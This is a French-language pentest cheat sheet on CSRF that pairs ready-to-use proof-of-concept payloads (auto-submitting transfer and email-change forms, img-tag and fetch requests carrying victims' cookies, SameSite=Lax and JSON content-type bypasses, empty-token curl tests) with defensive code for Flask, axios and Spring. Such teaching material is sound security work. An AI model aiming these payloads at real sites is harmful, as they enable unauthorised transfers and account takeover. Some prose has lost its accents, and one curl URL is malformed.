MDstable
NoteSnippetChecklistPlaybook

CSRF — Cross-Site Request Forgery

Génération de PoC CSRF, bypass SameSite, tokens anti-CSRF, défense complète

snippetintermediate 2026-05-14 5 min read
csrfsamesitetokenburpsuitecorspentest

Principe

CSRF forcer le navigateur dun utilisateur authentifi envoyer une requte
vers une application sans son consentement
Conditions
1 Lutilisateur est authentifi cookie de session actif
2 Lapplication accepte des actions via requtes cross-origin
3 Pas de token CSRF ct serveur ou token non vrifi
Exemple
Victime connecte bankcom visite evilcom
evilcom contient un formulaire auto-soumis vers bankcom/transfer
Virement excut avec les cookies valides de la victime

Génération de PoC CSRF

Formulaire HTML auto-soumis (POST)

html
Variables
{{TARGET}}
{{ATTACKER_ACCOUNT}}
<!-- PoC CSRF — virement bancaire -->
<html>
<body onload="document.forms[0].submit()">
<form action="https://{{TARGET}}/account/transfer" method="POST">
<input type="hidden" name="amount" value="1000" />
<input type="hidden" name="to_account" value="{{ATTACKER_ACCOUNT}}" />
<input type="hidden" name="currency" value="EUR" />
</form>
</body>
</html>
html
Variables
{{TARGET}}
{{ATTACKER_EMAIL}}
<!-- PoC CSRF — changement d'email (sans interaction utilisateur) -->
<html>
<body>
<img src="x" onerror="
var f=document.createElement('form');
f.method='POST';
f.action='https://{{TARGET}}/settings/email';
var i=document.createElement('input');
i.name='email'; i.value='{{ATTACKER_EMAIL}}';
f.appendChild(i);
document.body.appendChild(f);
f.submit();
">
</body>
</html>

CSRF GET (si l'action modifiante est en GET)

html
Variables
{{TARGET}}
{{ATTACKER_ACCOUNT}}
<!-- Simple img tag — déclenche la requête GET sans interaction -->
<img src="https://{{TARGET}}/admin/delete-user?id=42" width="0" height="0">
<!-- Ou via fetch (si CORS mal configuré) -->
<script>
fetch('https://{{TARGET}}/api/transfer', {
method: 'POST',
credentials: 'include', // envoie les cookies
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({to: '{{ATTACKER_ACCOUNT}}', amount: 1000})
});
</script>

Burp Suite — Génération automatique de PoC

1 Intercepter la requte cible dans Burp Proxy
2 Clic droit Engagement Tools Generate CSRF PoC
3 Burp gnre le formulaire HTML correspondant
4 Tester "Test in browser"
5 Vrifier que l'action s'excute sans token CSRF dans la requte

Bypass de protections CSRF

Bypass du token CSRF si validé côté client seulement

bash
Variables
{{TARGET}}
{{STOLEN_SESSION}}
{{ATTACKER}}
# Test 1 : supprimer le token de la requête
# Si l'action s'effectue → token non vérifié côté serveur
# Test 2 : envoyer un token vide ou invalide
curl -X POST https//{{TARGET}}/transfer
-b "session={{STOLEN_SESSION}}"
-d "amount=1000&to={{ATTACKER}}&csrf_token="
# Test 3 : réutiliser son propre token pour une autre victime
# (si le token n'est pas lié à la session)

Bypass SameSite=Lax

html
Variables
{{TARGET}}
{{ATTACKER}}
{{TARGET_DOMAIN}}
<!-- SameSite=Lax autorise les requêtes GET sur navigation "top-level"
(lien cliqué, redirect) mais bloque les formulaires POST cross-site -->
<!-- Bypass : forcer une navigation top-level via window.open + redirect -->
<script>
window.open('https://{{TARGET}}/transfer?amount=1000&to={{ATTACKER}}');
</script>
<!-- Bypass via sous-domaine si un sous-domaine est compromis -->
<!-- sub.{{TARGET_DOMAIN}} peut envoyer une requête cross-site vers {{TARGET_DOMAIN}}
car même eTLD+1 → SameSite=Lax ne bloque pas -->

CSRF via JSON avec Content-Type bypass

html
Variables
{{TARGET}}
{{ATTACKER}}
<!-- Si l'API accepte application/json mais que la vérif CT est faible -->
<form action="https://{{TARGET}}/api/transfer" method="POST" enctype="text/plain">
<!-- text/plain est autorisé en CORS simple request -->
<!-- Torsader le body pour qu'il ressemble à du JSON -->
<input name='{"amount":1000,"to":"{{ATTACKER}}"' value='}' />
</form>

Test avec Fetch (CORS + CSRF combiné)

javascript
Variables
{{TARGET}}
// Si CORS est ouvert (Access-Control-Allow-Origin: *) → test CSRF avec fetch
fetch('https://{{TARGET}}/api/user/delete', {
method: 'DELETE',
credentials: 'include',
headers: {
'Content-Type': 'application/json',
'X-Requested-With': 'XMLHttpRequest'
}
}).then(r => r.text()).then(console.log);
// Si credentials: 'include' est accepté côté serveur avec CORS non restrictif
// → CSRF via fetch fonctionne même avec SameSite absent

Défense — Tokens anti-CSRF

python
# Python (Flask + Flask-WTF) — token CSRF synchronisé
from flask_wtf.csrf import CSRFProtect
app = Flask(__name__)
app.config['SECRET_KEY'] = os.environ['SECRET_KEY']
csrf = CSRFProtect(app) # Protection CSRF globale sur tous les formulaires POST
# Dans le template HTML :
# <form method="POST">
# <input type="hidden" name="csrf_token" value="{{ csrf_token() }}">
# </form>
javascript
// JavaScript (axios) — inclure le token CSRF dans chaque requête
// Lire le token depuis le cookie (Double Submit Cookie pattern)
function getCsrfToken() {
return document.cookie.split('; ')
.find(c => c.startsWith('csrftoken='))
?.split('=')[1];
}
axios.defaults.headers.common['X-CSRFToken'] = getCsrfToken();
// Ou injecté dans un meta tag :
// <meta name="csrf-token" content="{{ csrf_token }}">
const token = document.querySelector('meta[name="csrf-token"]').content;
axios.defaults.headers.common['X-CSRF-Token'] = token;
java
// Spring Security — CSRF activé par défaut (ne pas le désactiver !)
@Configuration
public class SecurityConfig extends WebSecurityConfigurerAdapter {
@Override
protected void configure(HttpSecurity http) throws Exception {
http
.csrf() // Activé par défaut
.csrfTokenRepository(CookieCsrfTokenRepository.withHttpOnlyFalse())
// withHttpOnlyFalse → JS peut lire le cookie pour l'envoyer en header
.and()
.authorizeRequests()
.anyRequest().authenticated();
}
}

Défense — Headers et cookies

Cookie de session
SameSiteStrict bloque TOUTES les requtes cross-site y compris navigation
SameSiteLax bloque POST cross-site, autorise GET navigation bon compromis
SameSiteNone uniquement si Secure est aussi prsent viter si possible
Header supplmentaire vrification Origin Referer
Vrifier que Origin ou Referer correspond au domaine attendu ct serveur
Rejeter si Origin absent OU si Origin domaine autoris
NE PAS faire confiance Referer seul peut tre manipul
Custom Header synchronizer token via header
X-Requested-With: XMLHttpRequest les navigateurs nenvoient pas ce header en
cross-site pour les requtes simples seulement en same-origin ou CORS autoris
⚠ Attention —

La désactivation du CSRF dans Spring (csrf().disable()) est l'une des erreurs les plus courantes dans les tutos et templates de démarrage. Elle est souvent faite "pour simplifier le dev" et oubliée en production. Ne jamais désactiver CSRF sur les APIs qui utilisent des cookies d'authentification.

💡 Tip —

SameSite=Strict + token CSRF synchronisé est la combinaison la plus solide. Le cookie SameSite protège contre la plupart des attaques sans code supplémentaire, et le token est le filet de sécurité pour les cas edge (sous-domaines compromis, redirects). Sur une SPA avec JWT en localStorage (pas de cookie), le CSRF n'est pas applicable — mais XSS le devient le vecteur principal.

OPS·BRAIN v1.075 notes · Securitylocal